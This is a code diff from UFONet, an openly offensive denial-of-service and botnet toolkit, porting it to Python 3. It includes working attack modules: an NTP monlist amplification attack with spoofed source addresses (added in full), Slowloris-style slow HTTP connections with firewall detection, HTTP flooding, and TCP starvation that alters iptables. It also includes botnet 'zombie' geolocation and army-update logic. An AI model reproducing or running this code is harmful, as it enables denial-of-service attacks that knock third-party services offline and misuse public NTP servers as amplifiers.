         self._geoip = pygeoip.GeoIP('maps/GeoLiteCity.dat')
         self._geoasn = pygeoip.GeoIP('maps/GeoIPASNum.dat')
@@ -114,13 +110,13 @@ class AjaxMap(object):
         # check for status, downloading is done by ajax() method
         if self.get_status() != 'ok':
             if self._geoipstatus =='downloading':
-                print "\n[Info] [AI] [Control] GeoIP maps and databases -> [Downloading!]\n"
-	        self._err= "ufomsg('[Info] [AI] Downloading maps... -> [Waiting!]')"
+                print("\n[Info] [AI] [Control] GeoIP maps and databases -> [Downloading!]\n")
+                self._err= "ufomsg('[Info] [AI] Downloading maps... -> [Waiting!]')"
             elif not os.path.exists('maps/GeoIPASNum.dat') or not os.path.exists('maps/GeoLiteCity.dat'):
-                print "\n[Info] [AI] GeoIP maps and databases -> [Starting!]\n"
+                print("\n[Info] [AI] GeoIP maps and databases -> [Starting!]\n")
                 self._err= "ufomsg('[Info] [AI] Map download starting')\n$('#ufomsg').load('/js/ajax.js?fetchgeoip=')"
             else:
-                print "\n[Error] [AI] GeoIP maps and databases: FAILED! -> [Discarding!]\n"
+                print("\n[Error] [AI] GeoIP maps and databases: FAILED! -> [Discarding!]\n")
                 self._err= "ufomsg('<font color='red'>[Info] [AI]</font> Maps: unknown error -> [Discarding!]')"
             return None
         if re.match(r'^127\.\d{1,3}\.\d{1,3}\.\d{1,3}$', zombie) or re.match(r'^10\.\d{1,3}\.\d{1,3}\.\d{1,3}$', zombie) or re.match(r'^192.168\.\d{1,3}\.\d{1,3}$', zombie) or re.match(r'^172.(1[6-9]|2[0-9]|3[0-1]).[0-9]{1,3}.[0-9]{1,3}$', zombie) or re.match('localhost', zombie):
@@ -164,11 +160,11 @@ class AjaxMap(object):
                 try:
                     asn = self._geoasn.org_by_addr(ip)
                     if asn is not None:
-                        geo_zombie['asn'] = asn.encode('utf-8')
+                        geo_zombie['asn'] = asn
                 except:
                     geo_zombie['asn'] = 'No ASN provided'
                 try:
-                    geo_zombie['host_name'] = socket.gethostbyaddr(ip)[0].encode('utf-8')
+                    geo_zombie['host_name'] = socket.gethostbyaddr(ip)[0]
                 except:
                     geo_zombie['host_name'] = 'No hostname'
                 try:
@@ -179,10 +175,10 @@ class AjaxMap(object):
                 except:
                     pass
                 try:
-                    geo_zombie['country'] = record["country_name"].encode('utf-8')
-                    geo_zombie['country_code'] = record["country_code"].lower().encode('utf-8')
+                    geo_zombie['country'] = record["country_name"]
+                    geo_zombie['country_code'] = record["country_code"].lower()
                     if record['city'] is not None:
-                        geo_zombie['city'] = record["city"].encode('utf-8')
+                        geo_zombie['city'] = record["city"]
                 except:
                     pass
         else:
@@ -194,10 +190,8 @@ class AjaxMap(object):
         ret = ""
         gz = self.geo_ip(z)
         if gz is not None and gz['latitude']!= '-':
-            ret = "Zombies.add('"+z+"',Array(new L.LatLng("+str(gz['latitude'])+","+str(gz['longitude'])+"),'"+gz['city']+"','"+gz['country']+"','"+gz['country_code']+"','"+gz['asn']+"','"+gz['ip']+"','"+gz['host_name']+"'))\n"
+            ret = "Zombies.add('"+str(z)+"',Array(new L.LatLng("+str(gz['latitude'])+","+str(gz['longitude'])+"),'"+str(gz['city'])+"','"+str(gz['country'])+"','"+str(gz['country_code'])+"','"+str(gz['asn'])+"','"+str(gz['ip'])+"','"+str(gz['host_name'])+"'))\n"
         else:
-            url = urlparse(z)
-            print '[Error] [AI] [Control] [GUI]',url.netloc, "isn't geolocated on [Map] -> [Discarding!]"
             ret += "dead_zombies.push('"+z+"')\n"
         ret += "last_zombie = '"+z+"'\n"
         return ret
@@ -216,11 +210,11 @@ class AjaxMap(object):
 
     # ajax controller
     def ajax(self,pGet={}):
-        if 'fetchgeoip' in pGet.keys():
+        if 'fetchgeoip' in list(pGet.keys()):
             if self.get_status() == "nomap":
                 self.download_maps()
                 return "[Info] [AI] [Control] Geoip data download! -> [OK!]<br/>"
-        if 'stats' in pGet.keys():
+        if 'stats' in list(pGet.keys()):
             stat='<script>$(".ufo_stat_div").show()</script>'
             if os.path.exists('/tmp/ufonet.html'):
                 for x in open(r'/tmp/ufonet.html').readlines():
@@ -232,29 +226,29 @@ class AjaxMap(object):
             dljs=""
             if self.get_status() == "nomap":
                 dljs+="$('#ufomsg').load('/js/ajax.js?fetchgeoip=')\n"
-            if 'doll' in pGet.keys():
+            if 'doll' in list(pGet.keys()):
                 dljs+="$('#ufomsg').load('/js/ajax.js?fetchdoll="+pGet['doll']+"')\n"
                 dljs+="doll=new Doll('"+pGet["doll"]+"')\n"
             return "[Info] [AI] GeoIP data download in progress...<br><i>See console for errors</i>+<script>"+dljs+"</script>"
-        if 'zombie' in pGet.keys():
-            zn=base64.b64decode(pGet['zombie'])
+        if 'zombie' in list(pGet.keys()):
+            zn=base64.b64decode(pGet['zombie']).decode('utf-8')
             nzn=self.get_next_zombie(zn)
             if nzn is not None:
                 zombie=self.get_js(nzn)
                 return """ <script>
-                """+zombie+"""
-                ufomsg('[Info] [AI] [Control] Adding zombie: """+nzn+"""...')
+                """+str(zombie)+"""
+                ufomsg('[Info] [AI] [Control] Adding zombie: """+str(nzn)+"""...')
                 </script>"""
             else:
                 return "<script>zdone=true\nufomsg('[Info] [AI] [Control] All zombies deployed! -> [OK!]')\n </script>\n"
-        if 'fetchdoll' in pGet.keys():
+        if 'fetchdoll' in list(pGet.keys()):
             tn=pGet['fetchdoll']
             target = self.geo_ip(tn)
             if target is None:
                 return "doll waiting for geoip data !"
             return """ doll up !<script>
 doll.setData(Array(new L.LatLng("""+str(target['latitude'])+","+str(target['longitude'])+"),'"+target['city']+"','"+target['country']+"','"+target['country_code']+"','"+target['asn']+"','"+target['ip']+"','"+target['host_name']+"'))\nufomsg('[Info] Adding target: """+tn+"""...')\ndoll.show() </script>"""
-        if 'doll' in pGet.keys():
+        if 'doll' in list(pGet.keys()):
             tn=pGet['doll']
             return """<script>
 doll=new Doll('"""+tn+"""')\n</script>"""

+ 11 - 6
core/doll.py

@@ -1,15 +1,20 @@
-#!/usr/bin/env python 
+#!/usr/bin/env python3 
 # -*- coding: utf-8 -*-"
 """
-UFONet - DDoS Botnet via Web Abuse - 2013/2014/2015/2016 - by psy (epsylon@riseup.net)
+This file is part of the UFONet project, https://ufonet.03c8.net
+
+Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
 
 You should have received a copy of the GNU General Public License along
 with UFONet; if not, write to the Free Software Foundation, Inc., 51
 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 """
 from threading import Thread
-import socket, time, os, base64, re, urlparse
-
+import socket, time, os, base64, re
+try:
+    from urlparse import urlparse
+except:
+    from urllib.parse import urlparse
 class Needle(Thread):
     def __init__(self, client, addr, parent):
         Thread.__init__(self)
@@ -101,7 +106,7 @@ class Doll(Thread):
                 else:
                     return
         if not self._armed:
-            print "\n[Error] Doll not armed"
+            print("\n[Error] Doll not armed")
             return
         self.socket = s
         self.ready = True
@@ -112,7 +117,7 @@ class Doll(Thread):
             except socket.timeout:
                 print("\n[Warning] Socket is giving timeout...")
                 pass
-            except socket.error, e:
+            except socket.error as e:
                 if self.ready == False:
                     return
                 else:

+ 39 - 39
core/herd.py

@@ -1,16 +1,16 @@
-#!/usr/bin/env python 
+#!/usr/bin/env python3 
 # -*- coding: utf-8 -*-"
 """
-UFONet - Denial of Service Toolkit - 2013/2014/2015/2016/2017/2018 - by psy (epsylon@riseup.net)
+This file is part of the UFONet project, https://ufonet.03c8.net
+
+Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
 
 You should have received a copy of the GNU General Public License along
 with UFONet; if not, write to the Free Software Foundation, Inc., 51
 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 """
 import socket, threading, logging, datetime, sys, os, re, time
-from urlparse import urlparse
-
-import zombie
+from . import zombie
 
 # zombie tracking class
 class Herd(object):
@@ -86,7 +86,7 @@ class Herd(object):
         if options.verbose == True:
             if ac>self.living:
                 if ac-self.living not in self.ufonet.ac_control:
-                    print "[Info] [AI] [Control] Active [ARMY] returning from the combat front: "+ str(ac-self.living)
+                    print("[Info] [AI] [Control] Active [ARMY] returning from the combat front: "+ str(ac-self.living))
                     self.ufonet.ac_control.append(ac-self.living)
         with self.lock:
             return ac==self.living
@@ -115,7 +115,7 @@ class Herd(object):
             try:
                 self.cleanup()
             except:
-                print '[Info] Previous tmp file found... html content will not be updated.'
+                print('[Info] Previous tmp file found... html content will not be updated.')
                 pass
         buf += "<div>" + os.linesep
         if out['err'] is not None:
@@ -160,38 +160,38 @@ class Herd(object):
     # generate statistics for stdout
     def format(self, out):
         if len(out['data'])==0:
-            print "[Info] Not any feedback data to show. Exiting..."
+            print("[Info] Not any feedback data to show. Exiting...")
             return
-        print '='*42
-        print "Herd statistics"
-        print "="*42
+        print('='*42)
+        print("Herd statistics")
+        print("="*42)
         for zo in out['data']:
             z=out['data'][zo]
-            print 'Zombie :', z['name'], " | ", z['hits'], " hits ", z['fails'] ," fails ", z['retries'], " retries "
-            print "  Times:", z['time'], " total ", z['min_time'], " min ", z['avg_time'] ," avg ", z['max_time'], " max "
-            print "  Sizes:", z['size'], " total ", z['min_size'], " min ", z['size'] ," avg ", z['max_size'], " max "
-            print "-"*21
+            print('Zombie :', z['name'], " | ", z['hits'], " hits ", z['fails'] ," fails ", z['retries'], " retries ")
+            print("  Times:", z['time'], " total ", z['min_time'], " min ", z['avg_time'] ," avg ", z['max_time'], " max ")
+            print("  Sizes:", z['size'], " total ", z['min_size'], " min ", z['size'] ," avg ", z['max_size'], " max ")
+            print("-"*21)
         if out['max_hits'] > 0:
-            print "="*80
-            print "Zombie 0day: ", out['max_hitz'], " with ", out['max_hits'], " hits"
+            print("="*80)
+            print("Zombie 0day: ", out['max_hitz'], " with ", out['max_hits'], " hits")
         if out['max_fails'] > 0:
-            print "="*80
-            print "Worst zombie: ", out['max_failz'], " with ", out['max_fails'], " fails"
-        print "="*80
-        print "Total invocations:", self.total_connections,"| Zombies:", str(self.ufonet.total_zombie),"| Hits:", self.total_hits,"| Fails:", self.total_fails
-        print "Total time:", out['total_time'], "| Avg time:", out['avg_time']
-        print "Total size:", out['total_size'],"| Avg size:", out['avg_size']
-        print "-"*21
-        print "="*42
-        print "Troops statistics"
-        print "="*42
-        print "Aliens: " + str(self.ufonet.total_aliens) + " | Hits: " + str(self.ufonet.aliens_hit) + " | Fails: " + str(self.ufonet.aliens_fail)
-        print "Droids: " + str(self.ufonet.total_droids) + " | Hits: " + str(self.ufonet.droids_hit) + " | Fails: " + str(self.ufonet.droids_fail)
-        print "X-RPCs: " + str(self.ufonet.total_rpcs) + " | Hits: " + str(self.ufonet.rpcs_hit) + " | Fails: " + str(self.ufonet.rpcs_fail)
-        print "UCAVs : " + str(self.ufonet.total_ucavs) + " | Hits: " + str(self.ufonet.ucavs_hit) + " | Fails: " + str(self.ufonet.ucavs_fail)
-        print "-"*21
-        print "\n" # gui related
-        print '='*21
+            print("="*80)
+            print("Worst zombie: ", out['max_failz'], " with ", out['max_fails'], " fails")
+        print("="*80)
+        print("Total invocations:", self.total_connections,"| Zombies:", str(self.ufonet.total_zombie),"| Hits:", self.total_hits,"| Fails:", self.total_fails)
+        print("Total time:", out['total_time'], "| Avg time:", out['avg_time'])
+        print("Total size:", out['total_size'],"| Avg size:", out['avg_size'])
+        print("-"*21)
+        print("="*42)
+        print("Troops statistics")
+        print("="*42)
+        print("Aliens: " + str(self.ufonet.total_aliens) + " | Hits: " + str(self.ufonet.aliens_hit) + " | Fails: " + str(self.ufonet.aliens_fail))
+        print("Droids: " + str(self.ufonet.total_droids) + " | Hits: " + str(self.ufonet.droids_hit) + " | Fails: " + str(self.ufonet.droids_fail))
+        print("X-RPCs: " + str(self.ufonet.total_rpcs) + " | Hits: " + str(self.ufonet.rpcs_hit) + " | Fails: " + str(self.ufonet.rpcs_fail))
+        print("UCAVs : " + str(self.ufonet.total_ucavs) + " | Hits: " + str(self.ufonet.ucavs_hit) + " | Fails: " + str(self.ufonet.ucavs_fail))
+        print("-"*21)
+        print("\n") # gui related
+        print('='*21)
 
     # show what we have
     def get_stat(self):
@@ -276,17 +276,17 @@ class Herd(object):
         if self.zombies_ready == None: # if not herd return
             return
         if not options.forceyes:
-            print '-'*25
-            update_reply = raw_input("Do you want to update your army (Y/n)")
-            print '-'*25
+            print('-'*25)
+            update_reply = input("Do you want to update your army (Y/n)")
+            print('-'*25)
         else:
             update_reply = "Y"
         if update_reply == "n" or update_reply == "N":
-            print "\nBye!\n"
+            print("\nBye!\n")
             return
         else:
             self.ufonet.update_zombies(self.zombies_ready)
-            print "\n[Info] - Botnet updated! ;-)\n"
+            print("\n[Info] - Botnet updated! ;-)\n")
         if os.path.exists('mothership') == True:
             os.remove('mothership') # remove mothership stream
         if os.path.exists('alien') == True:

BIN
core/images/aliens/alien1.png


File diff suppressed because it is too large
+ 1 - 0
core/images/aliens/alien1.txt


BIN
core/images/aliens/alien2.png


File diff suppressed because it is too large
+ 1 - 0
core/images/aliens/alien2.txt


BIN
core/images/aliens/alien3.png


File diff suppressed because it is too large
+ 1 - 0
core/images/aliens/alien3.txt


BIN
core/images/aliens/alien4.png


File diff suppressed because it is too large
+ 1 - 0
core/images/aliens/alien4.txt


BIN
core/images/aliens/alien5.png


File diff suppressed because it is too large
+ 1 - 0
core/images/aliens/alien5.txt


BIN
core/images/aliens/alien6.png


File diff suppressed because it is too large
+ 1 - 0
core/images/aliens/alien6.txt


BIN
core/images/aliens/alien7.png


File diff suppressed because it is too large
+ 1 - 0
core/images/aliens/alien7.txt


BIN
core/images/aliens/alien8.png


File diff suppressed because it is too large
+ 1 - 0
core/images/aliens/alien8.txt


BIN
core/images/board.png


File diff suppressed because it is too large
+ 1 - 0
core/images/board.txt


BIN
core/images/commander.png


File diff suppressed because it is too large
+ 1 - 0
core/images/commander.txt


BIN
core/images/crew/link1.png


File diff suppressed because it is too large
+ 1 - 0
core/images/crew/link1.txt


BIN
core/images/crew/link10.png


File diff suppressed because it is too large
+ 1 - 0
core/images/crew/link10.txt


BIN
core/images/crew/link11.png


File diff suppressed because it is too large
+ 1 - 0
core/images/crew/link11.txt


BIN
core/images/crew/link12.png


File diff suppressed because it is too large
+ 1 - 0
core/images/crew/link12.txt


BIN
core/images/crew/link2.png


File diff suppressed because it is too large
+ 1 - 0
core/images/crew/link2.txt


BIN
core/images/crew/link3.png


File diff suppressed because it is too large
+ 1 - 0
core/images/crew/link3.txt


BIN
core/images/crew/link4.png


File diff suppressed because it is too large
+ 1 - 0
core/images/crew/link4.txt


BIN
core/images/crew/link5.png


File diff suppressed because it is too large
+ 1 - 0
core/images/crew/link5.txt


BIN
core/images/crew/link6.png


File diff suppressed because it is too large
+ 1 - 0
core/images/crew/link6.txt


BIN
core/images/crew/link7.png


File diff suppressed because it is too large
+ 1 - 0
core/images/crew/link7.txt


BIN
core/images/crew/link8.png


File diff suppressed because it is too large
+ 1 - 0
core/images/crew/link8.txt


BIN
core/images/crew/link9.png


File diff suppressed because it is too large
+ 1 - 0
core/images/crew/link9.txt


BIN
core/images/favicon.ico


File diff suppressed because it is too large
+ 1 - 0
core/images/favicon.txt


BIN
core/images/mothership.png


File diff suppressed because it is too large
+ 1 - 0
core/images/mothership.txt


File diff suppressed because it is too large
+ 1 - 0
core/images/ufonet-logo.txt


+ 0 - 0
core/js/ajaxmap.css


+ 0 - 0
core/js/cluster/MarkerCluster.Default.css


+ 0 - 0
core/js/cluster/MarkerCluster.Default.ie.css


+ 0 - 0
core/js/cluster/MarkerCluster.css


+ 0 - 0
core/js/cluster/leaflet.markercluster-src.js


+ 0 - 0
core/js/cluster/leaflet.markercluster.js


+ 0 - 0
core/js/jquery-1.10.2.min.js


BIN
core/js/leaflet/images/layers-2x.png


BIN
core/js/leaflet/images/layers.png


BIN
core/js/leaflet/images/marker-icon-2x.png


BIN
core/js/leaflet/images/marker-icon.png


BIN
core/js/leaflet/images/marker-shadow.png


BIN
core/js/leaflet/images/ufonet-zombie.png


+ 0 - 0
core/js/leaflet/leaflet-src.js


File diff suppressed because it is too large
+ 2 - 2
core/js/leaflet/leaflet.css


+ 0 - 0
core/js/leaflet/leaflet.ie.css


+ 0 - 0
core/js/leaflet/leaflet.js


+ 0 - 0
core/js/raphael.js


+ 0 - 0
core/js/rlayer-src.js


+ 0 - 0
core/js/stars.js


+ 0 - 0
core/js/style.css


+ 0 - 0
core/js/ufo-cloud.css


File diff suppressed because it is too large
+ 6 - 6
core/js/ufo.js


File diff suppressed because it is too large
+ 1653 - 981
core/main.py


+ 4 - 2
core/mods/__init__.py

@@ -1,7 +1,9 @@
-#!/usr/bin/env python
+#!/usr/bin/env python3 
 # -*- coding: utf-8 -*-"
 """
-UFONet - Denial of Service Toolkit - 2013/2018 - by psy (epsylon@riseup.net)
+This file is part of the UFONet project, https://ufonet.03c8.net
+
+Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
 
 You should have received a copy of the GNU General Public License along
 with UFONet; if not, write to the Free Software Foundation, Inc., 51

+ 8 - 7
core/mods/loic.py

@@ -1,20 +1,21 @@
-#!/usr/bin/env python 
+#!/usr/bin/env python3 
 # -*- coding: utf-8 -*-"
 """
-UFONet - Denial of Service Toolkit - 2017/2018 - by psy (epsylon@riseup.net)
+This file is part of the UFONet project, https://ufonet.03c8.net
+
+Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
 
 You should have received a copy of the GNU General Public License along
 with UFONet; if not, write to the Free Software Foundation, Inc., 51
 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 """
 import sys, random
-
 try:
     import requests
     from requests.packages.urllib3.exceptions import InsecureRequestWarning # black magic
     requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
 except:
-    print "\nError importing: requests lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python-requests' or 'pip install requests'\n"
+    print("\nError importing: requests lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python3-requests'\n")
     sys.exit(2)
 
 # UFONet DoS Web LOIC (Low Orbit Ion Cannon)
@@ -30,9 +31,9 @@ def ionize(self, target, rounds, proxy):
             headers = {'User-Agent': str(self.user_agent)}
             try:
                 r = requests.get(target, headers=headers, proxies=proxyD, verify=False)
-                print "[Info] [AI] [LOIC] Firing 'pulse' ["+str(n)+"] -> [HIT!]"
+                print("[Info] [AI] [LOIC] Firing 'pulse' ["+str(n)+"] -> [HIT!]")
             except:
-                print "[Error] [AI] LOIC: Failed to engage with 'pulse' ["+str(n)+"]"
+                print("[Error] [AI] LOIC: Failed to engage with 'pulse' ["+str(n)+"]")
     except:
         print("[Error] [AI] [LOIC] Failing to engage... -> Is still target online? -> [Checking!]")
 
@@ -47,5 +48,5 @@ class LOIC(object):
             self.agents.append(agent)
 
     def attacking(self, target, rounds, proxy):
-        print "[Info] [AI] Low Orbit Ion Cannon (LOIC) is ready to fire: [" , rounds, "pulses ]"
+        print("[Info] [AI] Low Orbit Ion Cannon (LOIC) is ready to fire: [" , rounds, "pulses ]")
         ionize(self, target, rounds, proxy) # attack with LOIC using threading

+ 39 - 11
core/mods/loris.py

@@ -1,15 +1,21 @@
-#!/usr/bin/env python 
+#!/usr/bin/env python3 
 # -*- coding: utf-8 -*-"
 """
-UFONet - Denial of Service Toolkit - 2018 - by psy (epsylon@riseup.net)
+This file is part of the UFONet project, https://ufonet.03c8.net
+
+Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
 
 You should have received a copy of the GNU General Public License along
 with UFONet; if not, write to the Free Software Foundation, Inc., 51
 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 """
-import socket, random, ssl, re, urlparse
+import socket, random, ssl, re
+try:
+    from urlparse import urlparse
+except:
+    from urllib.parse import urlparse
 
-# UFONet Slow HTTP requests (LORIS)
+# UFONet Slow HTTP requests (LORIS) + [AI] WAF Detection
 def setupSocket(self, ip):
     method = random.choice(self.methods)
     port = 80
@@ -31,10 +37,10 @@ def setupSocket(self, ip):
         http_req = "POST / HTTP/1.1\r\nHost: "+str(ip)+"\r\nUser-Agent: "+str(self.user_agent)+"\r\nConnection: keep-alive\r\nCache-Control: no-cache\r\n\r\n"
     else:
         http_req = "POST / HTTP/1.1\r\nHost: "+str(ip)+"\r\nX-HTTP-Method: PUT\r\nUser-Agent: "+str(self.user_agent)+"\r\nConnection: keep-alive\r\nCache-Control: no-cache\r\n\r\n" # "Verb Tunneling Abuse" -> [RFC2616]
-    sock.sendall(http_req)
-    resp = sock.recv(1280).split("\n")
+    sock.sendall(http_req.encode('utf-8'))
+    resp = sock.recv(1280).split("\n".encode('utf-8'))
     for l in resp:
-        if "Location:" in l:
+        if "Location:".encode('utf-8') in l:
             try:
                 ip = re.findall('https?://(?:[-\w.]|(?:%[\da-fA-F]{2}))+', l)[0] # extract new redirect url
                 try:
@@ -52,6 +58,24 @@ def setupSocket(self, ip):
                        ip = target
             except:
                 pass
+        else:
+            self.wafs_file = "core/txt/wafs.txt" # set source path to retrieve 'wafs'
+            try:
+                f = open(self.wafs_file)
+                wafs = f.readlines()
+                f.close()
+            except:
+                wafs = "broken!"
+            sep = "##"
+            for w in wafs:
+                if sep in w:
+                    w = w.split(sep)
+                    signature = w[0] # signature
+                    t = w[1] # vendor
+                if signature in l.decode('utf-8'):
+                    print("[Info] [AI] [Control] FIREWALL DETECTED!! -> [" , str(t.split("\n")[0]) , "]")
+                    self.warn_flag = True
+                    return
     return sock, ip
 
 def tractor(self, ip, requests): 
@@ -61,9 +85,9 @@ def tractor(self, ip, requests):
             n=n+1
             try:
                 sock, ip = setupSocket(self, ip)
-                print "[Info] [AI] [LORIS] Firing 'tractor beam' ["+str(n)+"] -> [CONNECTED!]"
+                print("[Info] [AI] [LORIS] Firing 'tractor beam' ["+str(n)+"] -> [CONNECTED!]")
             except:
-                print "[Error] [AI] [LORIS] Failed to engage with 'tractor beam' ["+str(n)+"]"
+                print("[Error] [AI] [LORIS] Failed to engage with 'tractor beam' ["+str(n)+"]")
             self.sockets.append(sock)
         while True: # try to abuse HTTP Headers
             for sock in list(self.sockets):
@@ -77,10 +101,14 @@ def tractor(self, ip, requests):
                 if sock:
                     self.sockets.append(sock)
     except:
-        print("[Error] [AI] [LORIS] Failing to engage... -> Is still target online? -> [Checking!]")
+        if self.warn_flag == False:
+            print("[Error] [AI] [LORIS] Failing to engage... -> Is still target online? -> [Checking!]")
+        else:
+            print("[Info] [AI] [LORIS] The attack may not be effective due to the presence of a [FIREWALL] that blocks persistent connections -> [ABORTING!]")
 
 class LORIS(object):
     def __init__(self):
+        self.warn_flag = False
         self.sockets = []
         self.agents_file = 'core/txt/user-agents.txt' # set source path to retrieve user-agents
         self.agents = []
@@ -92,7 +120,7 @@ class LORIS(object):
         self.methods = ['GET', 'POST', 'X-METHOD'] # supported HTTP requests methods
 
     def attacking(self, target, requests):
-        print "[Info] [AI] Slow HTTP requests (LORIS) is ready to fire: [" , requests, "tractor beams ]"
+        print("[Info] [AI] Slow HTTP requests (LORIS) is ready to fire: [" , requests, "tractor beams ]")
         try:
             ip = socket.gethostbyname(target)
         except:

+ 72 - 0
core/mods/monlist.py

@@ -0,0 +1,72 @@
+#!/usr/bin/env python3 
+# -*- coding: utf-8 -*-"
+"""
+This file is part of the UFONet project, https://ufonet.03c8.net
+
+Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+import sys, random
+try:
+    from scapy.all import *
+except:
+    print("\nError importing: scapy lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python3-scapy'\n")
+    sys.exit(2)
+
+ntp_file = "botnet/ntp.txt" # NTP servers IP list
+
+#data = "\x17\x00\x03\x2a" + "\x00" * 4 # NTP v2 Monlist 'magic' packet!
+data = "\x1b\x00\x00\x00"+"\x00"*11*4 # NTP v3 Monlist 'magic' packet!
+
+# UFONet NTP Amplification (MONLIST) / [Port: 123]
+def monlistize(ip, rounds):
+    n=0
+    try: # (NTP) Amplification attack uses publically accessible NTP servers to flood a target with NTP response traffic
+        with open(ntp_file) as f: # extract NTP servers from file
+            ntp_d = f.read().splitlines()
+        f.close()
+        p_num=0
+        for x in range (0,int(rounds)):
+            try:
+                n=n+1
+                print("[Info] [AI] [MONLIST] Breaking NTP 'parsec' ["+str(n)+"] and remaking space-time on it! -> [SLOWING!]")
+                for j in ntp_d:
+                    p_num += 1
+                    packet = IP(dst=j,src=ip)/UDP(sport=random.randint(2000,65535),dport=123)/Raw(load=data)
+                    try:
+                        send(packet, verbose=0) # not using sr1 because non-replies are required
+                        print(("[Info] [AI] [MONLIST] Broken NTP 'parsec' [{}]".format(p_num))+" IS INTERACTING WITH ["+str(j)+"] -> [AMPLIFYING!]")
+                    except:
+                        print(("[Info] [AI] [MONLIST] Broken NTP 'parsec' [{}]".format(p_num))+" HAS FAILED to interact with ["+str(j)+"] -> [PASSING!]")
+            except:
+                print("[Error] [AI] [MONLIST] Failed breaking NTP 'parsec' ["+str(n)+"]")
+    except:
+        print("[Error] [AI] [MONLIST] Failing to engage... -> Is still target online? -> [Checking!]")
+
+class MONLIST(object):
+    def attacking(self, target, rounds):
+        print("[Info] [AI] NTP Amplification (MONLIST) is ready to broke: [" , rounds, "parsecs ]")
+        if target.startswith('http://'):
+            target = target.replace('http://','')
+        elif target.startswith('https://'):
+            target = target.replace('https://','')
+        try:
+            ip = socket.gethostbyname(target)
+        except:
+            try:
+                import dns.resolver
+                r = dns.resolver.Resolver()
+                r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
+                url = urlparse(target)
+                a = r.query(url.netloc, "A") # A record
+                for rd in a:
+                    ip = str(rd)
+            except:
+                ip = target
+        if ip == "127.0.0.1" or ip == "localhost":
+            print("[Info] [AI] [MONLIST] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
+            return
+        monlistize(ip, rounds) # attack with MONLIST using threading

+ 13 - 18
core/mods/nuke.py

@@ -1,13 +1,19 @@
-#!/usr/bin/env python 
+#!/usr/bin/env python3 
 # -*- coding: utf-8 -*-"
 """
-UFONet - Denial of Service Toolkit - 2019 - by psy (epsylon@riseup.net)
+This file is part of the UFONet project, https://ufonet.03c8.net
+
+Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
 
 You should have received a copy of the GNU General Public License along
 with UFONet; if not, write to the Free Software Foundation, Inc., 51
 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 """
-import socket, select, os, time, urlparse, resource
+import socket, select, os, time, resource
+try:
+    from urlparse import urlparse
+except:
+    from urllib.parse import urlparse
 
 # UFONet TCP Starvation (NUKE)
 def connect(ip, port):
@@ -28,22 +34,11 @@ def nukeize(ip, port, rounds):
             try:
                 n=n+1
                 s = connect(ip, port)
-                print "[Info] [AI] [NUKE] Firing 'nuke' ["+str(n)+"] -> [SHOCKING!]"
+                print("[Info] [AI] [NUKE] Firing 'nuke' ["+str(n)+"] -> [SHOCKING!]")
                 connections[s.fileno()] = s 
                 epoll.register(s.fileno(), select.EPOLLOUT|select.EPOLLONESHOT)
-                while True:
-                    n=n+1
-                    events = epoll.poll(1)
-                    for fileno, event in events:
-                        s = connections.pop(s.fileno())
-                        print "[Info] [AI] [NUKE] Firing 'nuke' ["+str(n)+"] -> [SHOCKING!]"
-                        if s:
-                            s.close()
-                            s = connect(ip, port)
-                            connections[s.fileno()] = s
-                            epoll.register(s.fileno(), select.EPOLLOUT|select.EPOLLONESHOT)                
             except:
-                print "[Error] [AI] [NUKE] Failed to engage with 'nuke' ["+str(n)+"]"
+                print("[Error] [AI] [NUKE] Failed to engage with 'nuke' ["+str(n)+"]")
         os.system('iptables -D OUTPUT -d %s -p tcp --dport %d --tcp-flags FIN FIN -j DROP' %(ip, port)) # restore IPTABLES
         os.system('iptables -D OUTPUT -d %s -p tcp --dport %d --tcp-flags RST RST -j DROP' %(ip, port))
     except:
@@ -51,7 +46,7 @@ def nukeize(ip, port, rounds):
 
 class NUKE(object):
     def attacking(self, target, rounds):
-        print "[Info] [AI] TCP Starvation (NUKE) is ready to fire: [" , rounds, "nukes ]"
+        print("[Info] [AI] TCP Starvation (NUKE) is ready to fire: [" , rounds, "nukes ]")
         if target.startswith('http://'):
             target = target.replace('http://','')
             port = 80
@@ -72,6 +67,6 @@ class NUKE(object):
             except:
                 ip = target
         if ip == "127.0.0.1" or ip == "localhost":
-            print "[Info] [AI] [NUKE] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n"
+            print("[Info] [AI] [NUKE] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
             return
         nukeize(ip, port, rounds) # attack with NUKE using threading

+ 16 - 14
core/mods/smurf.py

@@ -1,18 +1,20 @@
-#!/usr/bin/env python 
+#!/usr/bin/env python3 
 # -*- coding: utf-8 -*-"
 """
-UFONet - Denial of Service Toolkit - 2018 - by psy (epsylon@riseup.net)
+This file is part of the UFONet project, https://ufonet.03c8.net
+
+Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
 
 You should have received a copy of the GNU General Public License along
 with UFONet; if not, write to the Free Software Foundation, Inc., 51
 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 """
-import sys, random, socket, urlparse
-
+import sys, random, socket
+import urllib.parse
 try:
     from scapy.all import *
 except:
-    print "\nError importing: scapy lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python-scapy' or 'pip install scapy'\n"
+    print("\nError importing: scapy lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python3-scapy'\n")
     sys.exit(2)
 
 # UFONet ICMP broadcast attack (SMURF)
